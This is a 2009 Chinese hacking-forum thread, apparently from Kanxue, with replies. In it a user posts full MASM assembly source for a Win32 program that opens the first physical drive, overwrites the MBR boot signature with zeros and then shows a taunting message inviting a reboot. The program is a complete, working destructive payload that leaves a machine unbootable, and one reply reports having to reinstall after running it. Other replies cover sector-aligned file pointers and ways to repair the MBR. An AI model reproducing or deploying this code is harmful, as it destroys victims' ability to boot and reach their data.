首页
社区
课程
招聘
[原创]在Win32下汇编改写MBR
发表于: 2009-5-16 23:02 10293

[原创]在Win32下汇编改写MBR

2009-5-16 23:02
10293
在网上闲逛发现有前人在网上发的资料 说用CreateFile就可以读写MBR
以前总以为这么重要的东西Windows不会让人碰 让动的话起码得有Ring0权限
在网上问了下果然好多人说不可以改写MBR必须要提高权限或者改写驱动
本人菜鸟还没有到写驱动的能力 用前人的资料试了下果然可以改写
看来不能光听别人说还得身体力行才行
下面附上本人写的一个小程序源码 破坏MBR最后的结束标志0AA55h
		.386
		.model flat, stdcall
		option casemap: none


include		windows.inc
include		user32.inc
includelib	user32.lib
include		kernel32.inc
includelib	kernel32.lib


		.data
szFileName	db	'\\.\PhysicalDrive0', 0
szCaption	db	'Made By ZuChen', 0
szText		db	'呵呵,重启下计算机看看有什么精彩的发现', 0dh, 0ah
		db	'如果不能解决可以来找我哦', 0


		.data?
hDriver		dd	?
szReadBuffer	db	512 dup (?)
dwBytesRead	dd	?


		.code
start:
		invoke	CreateFile, addr szFileName, GENERIC_READ or GENERIC_WRITE, \
			FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL
		mov	hDriver, eax
		.if	hDriver == INVALID_HANDLE_VALUE
				invoke	ExitProcess, NULL
		.endif
		invoke	ReadFile, hDriver, addr szReadBuffer,\
			sizeof szReadBuffer, addr dwBytesRead, 0
		
		.if	eax == 0
				invoke	ExitProcess, NULL
		.endif
		invoke	CloseHandle, hDriver

		invoke	CreateFile, addr szFileName, GENERIC_READ or GENERIC_WRITE, \
			FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL
		mov	hDriver, eax
		mov	byte ptr [szReadBuffer + 510], 00h
		mov	byte ptr [szReadBuffer + 511], 00h
		invoke	WriteFile, hDriver, addr szReadBuffer,\
			sizeof szReadBuffer, addr dwBytesRead, 0
		.if	eax == 0
				invoke	ExitProcess, NULL
		.endif
		invoke	CloseHandle, hDriver

		invoke	MessageBox, NULL, offset szText, offset szCaption, MB_OK
		invoke	ExitProcess, NULL


		end	start

小弟还有一点不知道的就是在恢复文件指针的时候调用SetFilePointer函数失败结果只能关闭文件然后再打开一次让指针复位 有没有兄弟知道直接让指针复位的方法 谢啦

[课程]FART 脱壳王!加量不加价!FART作者讲授!

收藏
免费 7
支持
分享
最新回复 (24)
雪    币: 364
活跃值: (152)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
2
我以为你是用某个总线驱动设备的符号连接来做SCSI_PASS_THROUGH穿透,仔细一看,原来……不说了。
2009-5-16 23:42
0
雪    币: 209
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
MSDN有的
2009-5-16 23:56
0
雪    币: 635
活跃值: (101)
能力值: ( LV12,RANK:420 )
在线值:
发帖
回帖
粉丝
4
disk handle只能set file point扇区倍数~

另外楼主还是回冥王星吧~
2009-5-17 00:25
0
雪    币: 211
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
被人鄙视了
2009-5-17 12:43
0
雪    币: 364
活跃值: (152)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
6
没鄙视~~呵呵。只是这东西相当大众了。你的分享精神还是不错的
2009-5-17 13:20
0
雪    币: 211
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
我还有一点不明白 为什么不能用SetFilePointer让文件指针复位
结果我只能关闭文件再重新打开让它复位 等待解答
2009-5-17 13:33
0
雪    币: 364
活跃值: (152)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
8
你的set file point是扇区倍数吗
2009-5-17 13:42
0
雪    币: 211
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
我用的是invoke SetFilePointer, hDriver, 0, NULL, FILE_BEGIN
调用函数后eax返回-1没有成功执行
很郁闷
2009-5-17 17:44
0
雪    币: 70
活跃值: (74)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
10
这个想法好。。。
2009-5-18 12:00
0
雪    币: 157
活跃值: (416)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
11
呵呵.之前只是读出来.从来没想到要写回去过.这个方法早就有了.
2009-5-19 19:27
0
雪    币: 60
活跃值: (1010)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
高手还真多啊
2009-5-20 11:46
0
雪    币: 211
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
有没有人知道--------------------------------------------------------------------------------

invoke SetFilePointer, hDriver, 0, NULL, FILE_BEGIN
调用函数后eax返回-1
为什么不成功啊
2009-5-20 12:42
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
这个东西以前试过,读没有问题,但是写不进去。。。不解。。。
2009-5-20 15:16
0
雪    币: 211
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
能够写进去的 关键是读后要调整文件指针否则内容会写道上次读的后面去得
2009-5-20 19:05
0
雪    币: 44
活跃值: (133)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
不小心运行了楼主的程序,害我开箱,装机了半天
2009-5-20 21:54
0
雪    币: 211
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
不是吧 装机?

你重新修复分区表不就行了么

我可没想着用这个害人 写着玩而已
2009-5-21 20:29
0
雪    币: 44
活跃值: (133)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
关键是光驱还坏的
2009-5-21 23:26
0
雪    币: 211
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
用优盘启动 基本上PE包含这些工具
2009-5-22 12:47
0
雪    币: 44
活跃值: (133)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
我想问下,直接fixmbr会不会破环里面的分区信息?
2009-5-22 16:42
0
雪    币: 211
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
21
fixmbr只是修复分区信息而已 也就是说如果mbr里面是不正确的信息它会修正
2009-5-22 18:23
0
雪    币: 44
活跃值: (133)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
那对于此处的mbr的修改,可以用那些方法修复?
2009-5-22 22:16
0
雪    币: 211
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
diskgen or diskfix tools
2009-5-22 22:51
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
很大众阿 呵呵
2009-6-4 16:49
0
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
25
帮你顶下。。。。。。。。。。
2009-6-4 17:28
0
游客
登录 | 注册 方可回帖
返回
//